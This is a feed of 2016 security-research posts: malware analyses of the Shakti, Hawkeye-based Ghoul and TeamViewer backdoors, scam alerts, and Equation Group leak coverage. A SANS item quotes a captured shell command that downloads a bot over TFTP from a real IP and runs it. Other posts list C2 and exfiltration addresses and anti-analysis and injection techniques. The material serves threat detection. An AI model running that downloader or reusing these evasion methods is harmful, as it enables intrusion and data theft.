Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. Shakti Trojan: Technical Analysis



from Understanding Java Code and Malware | Malwarebytes Unpacked

Recently, we took a look at the interesting Trojan found by Bleeping Computer. Our small investigation on its background and possible attribution has led us to the conclusion that this threat is in reality not new – probably it has been designed in 2012 for the purpose of corporate espionage operations. Yet it escaped from the radar and haven’t been described so far. More about that research, as well as the behavioral analysis of the malware, you can find in the article Shakti Trojan: Document Thief.

In contrary to the first part, this post will be a deep dive in the used techniques.

Analyzed samples

Recent sample mentioned by Bleeping Computer:

Other found samples:

Inside the main executable

The main executable is a loader responsible for unpacking and deploying the core malicious modules. Often, malware distributors use ready-made underground crypters to pack and protect their bots. After unpacking that first layer, we usually get a fully independent PE file.

In this case it is slightly different. The main loader looks like it is prepared exclusively for this particular bot (rather than being a commercial crypter).

In resources we can find content obfuscated by XOR with 0x97:

resource

This content is loaded and decoded during malware execution. The author tried to obfuscate the XOR operation performed on the buffer by splitting it into three and hiding in between redundant API calls:

decoding_res

byte ^ 0x97 = byte ^ (0xc7 ^ 0xe7 ^ 0xb7)

After decoding the buffer, we find that it is a Trojan’s configuration file, which contains the following strings:

EA20E48B6CBC1134DCC52B9CD23479C7
web4solution.net
{40f550c2-a844-49e6-ba74-ded0ab840d5b}
igfxtray
JUpdate
Java Update Service

The first string of the configuration:

EA20E48B6CBC1134DCC52B9CD23479C7 -> md5("HEMAN")

must match the one hardcoded in the executable:

check_resource
Another curious fact about this executable is a huge overlay. Below you can see the size of the overlay (at the end of the file) versus the size of the space consumed by the main executable’s sections:

sections_with_overlay

As we found out, two more (encrypted) PE files are hidden in this space. In order to decode them and deploy, the application reads its own file into a newly allocated memory.

Those two hidden modules are, appropriately: Carrier.dll and Payload.dll.

Flow obfuscation

This Trojan utilizes some techniques of flow obfuscation. Among them, there is an interesting trick of redirecting execution to the new module – via DOS header. It takes the following steps:

1) The new PE file is unpacked into a newly allocated memory block. Address to its beginning is stored. Below we can see the main executable making a call to such address. This way, it is redirecting execution flow to the beginning of Carrier.dll:
call_dos_hdr

As we can see above, the main module passes to the Carrier.dll some additional parameters: handle to the decrypted configuration and a magic constant (0x0DEFACED) that will be used further by the DLL as a marker for searching parameters on the stack.

2) The bytes of the DOS header are being interpreted as code and executed:

executing_dos_header

3) Execution of the DOS header leads to calling a function inside the code section of the same module:

exec_carrier

In the analyzed case the called function is ReflectiveLoader – a stub of a well-known technique allowing to easily map any PE file into memory (you can read more about this technique here).

Reflective Loader is responsible for doing all the actions that Windows Loader would do if the DLL was loaded in a typical way. After mapping the module it calls its entry point:

reflective_loader_calls_EP

Carrier.dll

Carrier is responsible for checking the environment, installing, and deploying the bot.

It exports one function: ReflectiveLoader that was mentioned before:

carrier

Execution of the important code starts in the DllMain. First, the DLL searches the magic constant on the stack, and with its help retrieves the handle to the configuration:

check_magic_val

Found handle to the configuration:

found_configuration

If the handle is successfully retrieved (like in the example above), execution proceeds with environment check and, eventually, bot installation is deployed:

carrier_deploy_main

Defensive techniques

Before performing the installation, the Trojan checks the environment in order to defend itself from being analyzed. If any of the defined symptoms are found, the program terminates. Here’s how it proceeds:

1) Uses standard function IsDebuggerPresent to check if it is not being debugged
2) Checks names of the running processes against the blacklist:

"VBoxService"
"VBoxTray"
"VMware"
"VirtualPC"
"wireshark"

3) Tries to load library SbitDll.dll (to check against sandbox)
4) Tries to find a window from the blacklist:

"SandboxieControlWndClass"
"Afx:400000:0"

If the check passes and no tools used for analysis have been detected, the program proceeds with installation.

Installation

Before deciding which variant of the installation to use, the application checks the privileges with which it is deployed. If it has administrator rights, it attempts to install itself as a service. The name of created service is given in a configuration (mentioned before). In the described case it is Java Update Service.

install_service

active_setup

If this variant of achieving persistence is not possible, the application injects itself into a browser.

Injection in a browser is a good way to cover the operation of uploading files. The process of a browser connecting to the Internet and generating traffic does not look suspicious at first. Also, if the victim system uses a whitelist of applications that can connect to the Internet, the probability that a browser is classified as trusted is very high.

First, it checks if any of the following browsers are already running in the system: chrome.exe, firefox.exe, opera.exe.

Enumerating processes:

enum_proc

Searching the names of browsers among the opened processes:

open_process

If it finds the appropriate process running, it injects itself as a new thread.

If no browser is running, it tries another way: finding the default browser, deploying it, and then injecting itself inside. In order to find out which browser is installed as a default in the particular system, it reads the registry key HKEY_CLASSES_ROOT\HTTP\open\command and finds the application that is triggered.

http_command

Having this information, it deploys the found browser as suspended, maps there it’s own code and starts a in a remote thread.

remote_thread

Payload.dll

Payload is the piece responsible for carrying the main mission of stealing files.

This module is a DLL exporting two functions (one of them is also ReflectiveLoader):

payload_dll

Execution starts in the function Init that is called from inside DllMain. To prevent being deployed more than once, the program uses a mutex with the hardcoded name CStmtMan.

init_proc

Bot attacks all the fixed drives:

enum_drives

It searches for files with  the following extensions:

inp, sql, pdf, rtf, txt, xlsx, xls, pptx, ppt, docx, doc

The list of found files is passed to the thread responsible for reading them and sending to the C&C.

read_and_send_file

Internet connection is opened with a hardcoded user agent string: “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)” – that was used by Internet Explorer 7 on Windows XP SP2 – confirming the hypothesis that the bot has been written several years ago.

connect

While the address of the server is read from configuration, the subpath /external/update is hardcoded:

external_update

Conclusion

The code is not very sophisticated, yet it’s effective—probably written by a person/team with some knowledge of malware development. We can see simple obfuscation and well-known injection methods used for reasonable goals (deploying network activity under the cover of a browser). There are some weaknesses in the implementation and lack of optimization (sending open text not compressed or encrypted, user agent string doesn’t match the deployed browser, etc). The unpolished design may suggest that the samples were released/sold in the early stages of development

Over the years, the bot didn’t got any major improvements. It leads to conclude that the distributor of the malware may not be the same entity as the author. Analysis of the C&Cs depicts that it was used by a single threat actor – so probability is high, that this tool has been ordered by the actor from an external programmer, for the purpose of small espionage campaigns.

Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. Parents, beware of this SMS scam



from Understanding Java Code and Malware | Malwarebytes Unpacked

We’ve recently been alerted to a scam circulating within the UK and causing distress to parents or adults who knows someone by the name of “Sarah”.

The scam comes in the form of an SMS, which contains a message stating that “Sarah”, the purported sender, has been in a “small accident” and is asking the recipient to text back once they’ve received her message. The Teignmouth Police in Devon has shared the below tweet from someone who appears to have encountered the message himself:

teignmouth-police-tweet

The “Sarah” message reads:

Hi it’s Sarah, I need you to do me a favour if possible. I had a small accident
and broke my fibula & left elbow. Can you text me back once you get this message x

Based on the number flashed on the above tweet, we found that this particular message may have been in circulation since April of this year. This number has also been tied to several cases of unsolicited calls to random users.

It’s also reported that some may receive a longer and potentially more believable version of the the scam message, which are as follows, but are vague about who the actual senders are:

Mum i did try and phone from some else phone signal is really bad, there has been a
terrible car accident. I’m in the ICU ward in hospital my phone ain’t switching on
and needs charging. I’m on this mobile number please make sure you reply to this
number, my friend didn’t make it he died before we got to hospital and his sister’s
fighting for her life. Mum i had my seatbelt on, i’ve got a head injury but i’m ok.
Going into Xray to be seen, please make sure you message me back and don’t phone
cause mobile phones aren’t allowed here so please text in case I’m in there. I will
go outside and phone you mum its really bad i need you to do me favour before it’s
too late, as soon as you get my text please reply by text i need you to do me a
favour mum, time is running out and i need you to do something mum
I'm on this mobile number please make sure you reply to this number, my friend
didn't make it he died before we got to hospital and his sister's fighting for her
life. Mum I had my seatbelt on, I've got a head injury but I'm ok. Going into Xray
to be seen, please make sure you message me back and don't phone cause mobile phones
aren't allowed here so please text in case I'm in there.

Other versions may still be in circulation at this time of writing.

SMS scams are not unheard of in the UK, and they use various social engineering tactics: some promise users with video games, glamour videos, and adult material, some simply wants to “catch up,” and some are designed to trick recipients into giving up their online account credentials, even two-factor verification codes. This particular scam is a great new addition to the SMS scam list in the UK, yet it’s not something we haven’t seen before elsewhere.

Three years ago, we were alerted with a similar SMS scam campaign in the Philippines, with the purported sender asking for top up so he/she can make an emergency call.

Those who receive SMS messages from numbers not in their phone contacts may feel compelled to respond, but it is always best to err on the side of caution. Nowadays, merely replying to such messages could cost the recipient a certain amount of money, which they may not be able to get back. If the sender purports to be someone you know—in this case, “Sarah”—it is best to contact this person’s phone number directly even if “she” told you not to.

Parents, if you receive an SMS message similar to what we have featured here, first make sure you’re calm before thinking of contacting the purported sender. Be aware that scammers playing on fear are out there and are always on the lookout for new targets whom they can squeeze out money from. And second, contact your child’s phone directly to make sure they’re fine. This way, you can easily thwart this type of SMS scam.

Feedly:Securelist / All Updates. Operation Ghoul: targeted attacks on industrial and engineering organizations



from Securelist / All Updates

no-image

Introduction

Kaspersky Lab has observed new waves of attacks that started on the 8th and the 27th of June 2016. These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions. The attackers try to lure targets through spear phishing emails that include compressed executables. The malware collects all data such as passwords, keystrokes and screenshots, then sends it to the attackers.

We found that the group behind this campaign targeted mainly industrial, engineering and manufacturing organizations in more than 30 countries. In total, over 130 organizations have been identified as victims of this campaign. Using the Kaspersky Security Network (KSN) and artifacts from malware files and attack sites, we were able to trace the attacks back to March 2015. Noteworthy is that since the beginning of their activities, the attackers’ motivations are apparently financial, whether through the victims’ banking accounts or through selling their intellectual property to interested parties, most infiltrated victim organizations are considered SMBs (Small to Medium size businesses, 30-300 employees), the utilization of commercial off-the-shelf malware makes the attribution of the attacks more difficult.

In ancient Folklore, the Ghoul is an evil spirit associated with consuming human flesh and hunting kids, originally a Mesopotamian demon. Today, the term is sometimes used to describe a greedy or materialistic individual.

Main infection vector: malicious emails

The following picture represents emails that are being used to deliver malware to the victims, in what looks like a payment document. The e-mails sent by attackers appear to be coming from a bank in the UAE, the Emirates NBD, and include a 7z file with malware. In other cases, victims received phishing links. A quick analysis of the email headers reveals fake sources being utilised to deliver the emails to victims.

operation_ghoul_eng_1

Malicious attachments

In the case of spear phishing emails with an attachment, the 7z does not contain payment instructions but a malware executable (EmiratesNBD_ADVICE.exe). We have observed executables with the following MD5s:

460e18f5ae3e3eb38f8cae911d447590

The spear phishing emails are mostly sent to senior members and executives of targeted organizations, most likely because the attackers hope to get access to core intelligence, controlling accounts and other interesting information from people who have the following positions or similar:

  • Chief Executive Officer
  • Chief Operations Officer
  • General Manager
  • General Manager, Sales and Marketing
  • Deputy General Manager
  • Finance and Admin Manager
  • Business Development Manager
  • Manager
  • Export manager
  • Finance Manager
  • Purchase manager
  • Head of Logistics
  • Sales Executive
  • Supervisor
  • Engineer

Technical details

Malware functionality

The malware is based on the Hawkeye commercial spyware, which provides a variety of tools for the attackers, in addition to malware anonymity from attribution. It initiates by self-deploying and configuring persistence, while using anti-debugging and timeout techniques, then starts collecting interesting data from the victim’s device, including:

  • Keystrokes
  • Clipboard data
  • FileZilla ftp server credentials
  • Account data from local browsers
  • Account data from local messaging clients (Paltalk, Google talk, AIM…)
  • Account data from local email clients (Outlook, Windows Live mail…)
  • License information of some installed applications

Data exfiltration

Data is collected by the attackers using primarily:

Http GET posts

  • Sent to hxxp://192.169.82.86

Email messages

  • mail.ozlercelikkapi[.]com (37.230.110.53), mail to info@ozlercelikkapi[.]com
  • mail.eminenture[.]com (192.185.140.232), mail to eminfo@eminenture[.]com

Both ozlercelikkapi[.]com and eminenture[.]com seem to belong to compromised organisations operating in manufacturing and technology services.

Malware command center

The malware connects to 192.169.82.86 to deliver collected information from the victim’s PC. This information includes passwords, clipboard data, screenshots…

hxxp://192.169.82.86/~loftyco/skool/login.php
hxxp://192.169.82.86/~loftyco/okilo/login.php

Operation Ghoul: Targeted Attacks on Industrial and Engineering Organizations

The IP address 192.169.82.86 seems to belong to a compromised device running multiple malware campaigns.

Victim information

Victim organizations are distributed in different countries worldwide with attackers focused on certain countries more than others:

Operation Ghoul: Targeted Attacks on Industrial and Engineering Organizations

Number of Victim Organisations by Country

Countries marked as “others” have less than three victim organizations each, they are: Switzerland, Gibraltar, USA, Sweden, China, France, Azerbaijan, Iraq, Turkey, Romania, Iran, Iraq and Italy.

Victim industry information

Victim industry types were also indicators of targeted attacks as attackers were looking to infiltrate organizations that belong to the product life cycle of multiple goods, especially industrial equipment.

Operation Ghoul: Targeted Attacks on Industrial and Engineering Organizations

Number of Victim Organizations by Industry Type

Victim industry description

Industrial Petrochemical, naval, military, aerospace, heavy machinery, solar energy, steel, pumps, plastics
Engineering Construction, architecture, automation, chemical, transport, water
Shipping International freight shipping
Pharmaceutical Production/research of pharmaceutical and beauty products
Manufacturing Furniture, decor, textiles
Trading Industrial, electronics and food trading
Education Training centers, universities, academic publishing
Tourism Travel agencies
Technology/IT Providers of IT technologies and consulting services
Unknown Unidentified victims

The last attack waves

Kaspersky Lab user statistics indicate the new waves of attacks that started in June 2016 are focused on certain countries more than others.

Hundreds of detections have been reported by Kaspersky Lab users; 70% of the attacked users were found in the United Arab Emirates alone, the other 30% were distributed in Russia, Malaysia, India, Jordan, Lebanon, Turkey, Algeria, Germany, Iran, Egypt, Japan, Switzerland, Bahrain and Tunisia.

ghoul_EN

Other attack information

Phishing pages have also been spotted through 192.169.82.86, and although they are taken down quickly, more than 150 user accounts were identified as victims of the phishing links sent by the attackers. Victims were connecting from the following devices and inserting their credentials, a reminder that phishing attacks do work on all platforms:

  • Windows
  • Mac OS X
  • Ubuntu
  • iPhone
  • Android

The malware files are detected using the following heuristic signatures:

Trojan.MSIL.ShopBot.ww
Trojan.Win32.Fsysna.dfah
Trojan.Win32.Generic

Conclusion

Operation Ghoul is one of the many attacks in the wild targeting industrial, manufacturing and engineering organizations, Kaspersky Lab recommends users to be extra cautious while checking and opening emails and attachments. In addition, privileged users need to be well trained and ready to deal with cyber threats; failure in this is, in most cases, the cause behind private or corporate data leakage, reputation and financial loss.

Indicators of Compromise

The following are common among the different malware infections; the presence of these is an indication of a possible infection.

from Fortinet Blog | News and Threat Research - All Posts

The Adwind Remote Access Trojan (RAT) is a popular Java-based backdoor capable of infecting Windows, Linux, Mac OS and Android operating systems. Its cross-platform nature, elaborate backdoor features, and relatively cheap price makes it a favourite choice for many cybercriminals today. Earlier this year, it was reported that Adwind was used in at least 443,000 attacks. Adwind has rebranded itself multiple times in the past, using the names “Frutas,” “AlienSpy,” and “Unrecom,” to name a few. The most recent...

Feedly:SANS Internet Storm Center, InfoCON: green. 522 Error Code for the Win, (Wed, Aug 17th)



from SANS Internet Storm Center, InfoCON: green

 

Recently I ran across a tweet from Packet Watcher @jinq102030 (https://twitter.com/jinq102030/status/756476442590842880)  to keep an eye on HTTP error code 522 for possible malware check-ins. 522 code could mean several things, but as for IR it's a potential malicious host has been pulled offline and you have a client still trying to connect.    So I got our Intern to check bro logs and see what he could find. 


>zcat http* | bro-cut ts id.orig_h id.resp_h host status_code | awk '$5 == "522"

There was other traffic that was false positives, but you could easily tell that this IP was checking this site on a regular basis.  Out of 4GB of compressed bro logs for the day we only had about  200 total lines that matched, so very low noise ratio.


When looking at the full packet capture of the system in question, we were able to tell that the system in question was compromised and downloaded a bot . 

 

cd /tmp || cd /var/ || cd /dev/;busybox tftp -r min -g 91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh.


This is certainly something we are going to keep looking at for finding more compromised system.

Feedly:Publications - The Citizen Lab. Claudio Guarnieri on alleged NSA-affiliated Equation Group hack



from Publications - The Citizen Lab

A group calling itself the “Shadow Brokers” has claimed to have hacked an elite cyberattack group associated with the U.S. National Security Agency (NSA), and is offering the stolen technology to the highest bidder. Equation Group, the alleged victims of the hack, are known to be one of the most advanced hacking groups in the world, according to analysis by security firm Kaspersky. As proof of the hack, a sample of the stolen data has been published.

Security experts have analyzed the sample files put up by Shadow Brokers in order to determine whether it was true, or simply an elaborate hoax. Citizen Lab Senior Research Fellow Claudio Guarnieri told The Wired in an interview that the content does seem legitimate.

“It looks very much as if the NSA attacked someone, and that someone managed to source the origin of the attacks, and counter-hacked them. The content is credible enough and properly reflects what we know of some of the program names in there.” He added that this was not enough to link the code to Equation Group or any other NSA-contracted cyberattack organizations.

Rare implementation of RC5/RC6 in ‘ShadowBrokers’ dump connects them to Equation malware

August 13, 2016 saw the beginning of a truly bizarre episode. A new identity going under the name ‘ShadowBrokers’ came onto the scene claiming to possess files belonging to the apex predator of the APT world, the Equation Group [PDF]. In their initial leak, the ShadowBrokers claimed the archive was related to the Equation group, however, they didn’t provide any technical details on the connections.

Along with some non-native rants against ‘Wealthy Elites’, the ShadowBrokers provided links to two PGP-encrypted archives. The first was provided for free as a presumptive show of good faith, the second remains encrypted at the time of writing. The passphrase is being ‘auctioned’, but having set the price at 1 million BTC (or 1/15th of the total amount of bitcoin in circulation), we consider this to be optimistic at best, if not ridiculous at face value.

The first archive contains close to 300MBs of firewall exploits, tools, and scripts under cryptonyms like BANANAUSURPER, BLATSTING, and BUZZDIRECTION. Most files are at least three years old, with change entries pointing to August 2013 the newest timestamp dating to October 2013.

first pic

As researchers continue to feast on the release, some have already begun to test the functional capabilities of the exploits with good results.

Having originally uncovered the Equation group in February 2015, we’ve taken a look at the newly released files to check for any connections with the known toolsets used by Equation, such as EQUATIONDRUG, DOUBLEFANTASY, GRAYFISH and FANNY.

While we cannot surmise the attacker’s identity or motivation nor where or how this pilfered trove came to be, we can state that several hundred tools from the leak share a strong connection with our previous findings from the Equation group.

The Devil’s in the Crypto

The Equation group uses the RC5 and RC6 encryption algorithms quite extensively throughout their creations. RC5 and RC6 are two encryption algorithms designed by Ronald Rivest in 1994 and 1998. They are very similar to each other, with RC6 introducing an additional multiplication in the cypher to make it more resistant. Both cyphers use the same key setup mechanism and the same magical constants named P and Q.

The particular RC5/6 implementation from Equation group’s malware is interesting and deserves special attention because of its specifics. Inside the Equation group malware, the encryption library uses a subtract operation with the constant 0x61C88647. In most publicly available RC5/6 code, this constant is usually stored as 0x9E3779B9, which is basically -0x61C88647. Since an addition is faster on certain hardware than a subtraction, it makes sense to store the constant in its negative form and adding it instead of subtracting. In total, we’ve identified 20 different compiled versions of the RC5/6 code in the Equation group malware.

pic2

Encryption-related code in a DoubleFantasy (actxprxy32.dll) sample

In the screenshot above, one can observe the main loop of a RC6 key setup subroutine extracted from one of the Equation group samples. The ShadowBrokers’ free trove includes 347 different instances of RC5/RC6 implementations. As shown in the screenshot below, the implementation is functionally identical including the subtraction of the inverted constant 0x61C88647.

pic3

Specific RC6 implementation from “BUSURPER-2211-611.exe” (md5: 8f137a9100a9fcc8b512b3729878a373

Comparing the older, known Equation RC6 code and the code used in most of the binaries from the new leak we observe that they are functionally identical and share rare specific traits in their implementation.

pic4

In case you’re wondering, this specific RC6 implementation has only been seen before with Equation group malware. There are more than 300 files in the Shadowbrokers’ archive which implement this specific variation of RC6 in 24 different forms. The chances of all these being faked or engineered is highly unlikely.

This code similarity makes us believe with a high degree of confidence that the tools from the ShadowBrokers leak are related to the malware from the Equation group. While the ShadowBrokers claimed the data was related to the Equation group, they did not provide any technical evidence of these claims. The highly specific crypto implementation above confirms these allegations.

More details about the ShadowBrokers leak and similarities with Equation group are available to Kaspersky Intelligence Services reports’ subscribers. For more information, email <intelreports@kaspersky.com>

Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. Soldiering on: the $5.6 million 419 scam



from Understanding Java Code and Malware | Malwarebytes Unpacked

419 scams most commonly drop into your mailbox, but they do occasionally appear via other channels such as snail mail and social media. Today we’re going to take a look at an angle seemingly beloved of scammers everywhere – a specific character type clung to down the years for no other reason than to cheat people out of their money. That character would happen to be “awesome UN peacekeeper with inexplicable access to millions of dollars because reasons”.

The name used tends to be drawn from a small pool, alongside a specific selection of rotated photographs to “prove” the identity of the fictitious soldier. Quite often, those photographs – and occasionally names – are of genuine soldiers lifted from military news and interview sites. It doesn’t matter what avenue the scammers decide to roll with – email, social media, dating profiles – this specific approach is a popular one, and they stick to it like glue.

What we have below is the closest thing possible to a default scam character in a 419 videogame.

Our first UN peacekeeping soldier with access to a huge chunk of cash comes in the form of “Victoria”, who is one of the alter-egos for this particular fakeout. Should you follow certain spammy looking Twitter feeds with your account, you’ll probably receive the below DM:

twitter spam

Hello my dear, My name is Victoria I am single woman, I hope all is well   with you? I am a soldier who works as a United Nations peace        keeping     troops in Iraq, the war against terrorism. I have in my possession  the    sum of $ 5.6 million dollars I made here in  Iraq. I deposited his  money   with an agent of the Red Cross  because of   the     law of the United    Nations. I want my stand as  beneficiary  to receive   the fund  and keep  it   safe because I do  not trust  the  Red Cross agent. I want  you to help  me   and keep  the money  in  your savings   account so that as  soon as they  are    through  with my    mission here in   Iraq, I will come to  you to meet   face   to  face  and   get to know. I’ll   give you 50% of the  total  money  for  your  assistance after you   receive the money. please   reply  to me, if  you    are   willing to work   with me so that I can  send   you more     information on  which  the money   was to keep the  Red  Cross  Agent.Your urgent response is highly necessary. Best   regards thanks alot contact  me with my email

Here’s an example of the same scam arriving by email, and below is an example of it popping up on a dating site:

dating profile

The text from the above profile reads as follows:

I hope all is well with you? I am a soldier working as United Nations peace keeping troop in Iraq, on war against terrorism. I have in my possession the sum of 5.6 million USD Which I made here in Iraq. I deposited this money with a Red Cross agent because of the law of UN. I want you to stand as my beneficiary to receive the fund and keep it safe because I don’t trust Red Cross agent. I want you to help me and keep the money save in your account so that as soon as am through with my mission here in Iraq, I will come over to you for us to meet face to face and know each other. I will give you 50 of the total money for your assistance after you have received the money. Please reply back to me here via Email: if you are willing to work with me so that i can send you more information where the money is been keeps by the Red Cross Agent. Your urgent reply is highly needed.

Let’s see…Red Cross, UN, Iraq, millions of dollars…yep, we have a match.

In many situations, members of the military may have the green light to deal with classified documents; unfortunately, one of our clones was a bit confused and ended up in the Bangalore classified ads instead:

classified spam

Hello [I’m] FROM MOSCOW RUSSIA ARMY SERVING ON PEACE KEEPING IN SYRIA AM VERY BUSY ON DUTY EMAIL MY ID([email redacted]) AM VERY BUSY ON DUTY EMAIL ME FOR A VEERY IMPORTANT DEAL WITH YOU IN YOUR COUNTRY

Scammers have marched their work of fiction from Iraq to Syria, also she’s now Russian because of course she is. I’m going to guess that any email response would probably involve the UN, Red Cross and a large pile of money.

Elsewhere, one of our clones expresses a love for the photography section of National Geographic.

We even found a whole platoon on Skype:

mercy on skype

There are many more variations on this theme across the net, from social networking to random forum comments. The trick is to ignore / block / delete them all and go about your business. There are no secret millions waiting for you in Iraq, or anywhere else for that matter. Scammers are happy to play on the good reputation of your armed forces and convince you to indulge in a spot of “What could possibly go wrong”.

Unfortunately for anyone reeled in, the answer is “quite a lot, actually“.

Don’t fall for it.

Feedly:Virus alerts. Doctor Web discovers backdoor targeting users in Russia, Great Britain, Spain, and the USA



from Virus alerts

August 15, 2016

screen #drweb

The Trojan, named BackDoor.TeamViewerENT.1, is distributed under the name Spy-Agent, a name it shares with its system management interface. Cybercriminals have been developing this malware program since 2011 and regularly release modified versions of it. This article will focus on one such modification.

Like its counterpart BackDoor.TeamViewer.49, BackDoor.TeamViewerENT.1 is a multi-component Trojan. However, while its predecessor implemented TeamViewer only to upload a malicious library to an attacked computer’s memory, BackDoor.TeamViewerENT.1 uses this utility to spy on potential victims.

The Trojan’s main payload is placed into the avicap32.dll library, and its operation parameters are stored in an encrypted configuration block. BackDoor.TeamViewerENT.1 also saves the files and folders necessary for TeamViewer to operate, together with some additional files.

If a Windows program needs a dynamic library to be loaded in order to operate, the system starts searching for the file with that name in the same folder from which the program was run, and only then in the Windows system directory. Virus makers decided to take advantage of this Windows feature: TeamViewer needs a standard avicap32.dll library, which is stored in one of the default system catalogs. However, the Trojan stores a malicious library with that same name right in the folder with the original TeamViewer executable file, and, as a result, Windows loads the malicious library, rather than the legitimate one, into the memory.

Once launched, BackDoor.TeamViewerENT.1 disables error messaging for the TeamViewer process, appends its files and the TeamViewer files with the attributes “system”, “hidden”, and “read only”, and then intercepts calls for TeamViewer functions and calls for several system functions. If certain files or components are missing in order for TeamViewer to operate normally, the Trojan downloads them from its command and control (C&C) server. In addition, if BackDoor.TeamViewerENT.1 detects that the Windows Task Manager or Process Explorer has been launched, the Trojan terminates the TeamViewer process. When connected to the C&C server, the backdoor can perform the following functions:

  • Restart the computer
  • Turn off the computer
  • Remove TeamViewer
  • Relaunch TeamViewer
  • Start listening through the microphone
  • Stop listening through the microphone
  • Identify the web camera
  • Start viewing via the web camera
  • Stop viewing via the web camera
  • Download a file; then save it to a temporary folder and run it
  • Update a configuration file and the backdoor’s executable file
  • Connect to the specified remote server; and then run cmd.exe and execute input/output redirection to a remote server

Once executed, these commands provide cybercriminals with great opportunities to spy on users and steal their personal information. In particular, we know that virus makers have used this Trojan to install malware programs belonging to the Trojan.Keylogger and Trojan.PWS.Stealer families. In the course of their investigation, Doctor Web’s security researchers found out that the backdoor targets residents of particular countries and regions at different times. For example, in July, BackDoor.TeamViewerENT.1 attacked user computers in Europe, particularly in Great Britain and Spain, and, in August, cybercriminals shifted their focus to the USA.

Nevertheless, a large number of cases involving this Trojan were also registered in Russia:

screen #drweb

Doctor Web specialists are keeping a close watch on this Trojan and recommend that users be more careful and update their virus databases in a timely manner. Dr.Web Anti-virus successfully detects and removes BackDoor.TeamViewerENT.1, so it does not pose any threat to Dr.Web users.

Feedly:Virus alerts. Doctor Web detected Linux Trojan written in Go



from Virus alerts

August 8, 2016

A Trojan, named Linux.Lady.1, can execute a limited range of actions such as to determine an external IP address of the infected computer, to attack other computers, and to download and launch a cryptocurrency mining software. Linux.Lady.1 is written in the Google developed programming language—Go. Although Doctor Web security researchers have already encountered Trojans written in Go, such malware programs are not frequently detected in the wild. The architecture of the Trojan consists of numerous libraries published on GitHub—the most popular collaborative application development service.

screen #drweb

Once Linux.Lady.1 is launched, it sends the following information to the command and control server: the current Linux version and the name of the operating system family it belongs to, a number of CPUs, names and a number of running processes, and so on. The Trojan receives a configuration file necessary for downloading and launching of a cryptocurrency mining program in order to generate income which is then transferred to the cybercriminals’ e-wallet.

screen #drweb

Linux.Lady.1 can also determine an external IP address of the infected computer using special websites, specified in the configuration file, and attack other computers of the network. The Trojan tries to connect to the remote servers via a port used by the Redis (remote dictionary server) data structure store, without entering a password in expectation that the system has not been configured correctly. If the connection is established, the malware adds a downloader script, named Linux.DownLoader.196, to the cron scheduler. The script downloads a copy of Linux.Lady.1 and installs it on the compromised host. Then the Trojan adds a key for connection to the computer over SSH protocol to the list of authorized keys.

Dr.Web for Linux successfully detects and removes Linux.Lady.1 and Linux.DownLoader.196, therefore, these malicious programs pose no threat to our users.

Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. Exploit kit shakedown: RIG EK grabs Neutrino EK campaigns



from Understanding Java Code and Malware | Malwarebytes Unpacked

Exploit kits are going through some strange phases these days. Two major malware distribution campaigns, namely Pseudo Darkleech and EITTest traditionally reserved for Neutrino EK were redirecting to underdog RIG EK. Several security researchers (Oddly_Normal, @malware_traffic, BroadAnalysis) pointed out this unexpected behaviour on Twitter.

Flow

Our telemetry records only show a few instances of Neutrino via what we earlier described on this blog as the jQueryGate while the fingerprinting pre-gate itself was nowhere near as active.

Time will tell if this is a temporary blip or not. While we have seen some switches between EKs in the past, the Pseudo Darkleech and EITest campaigns which were once part of Angler’s distribution channels, have always been very coveted.

We will keep monitoring this situation and update this post accordingly.
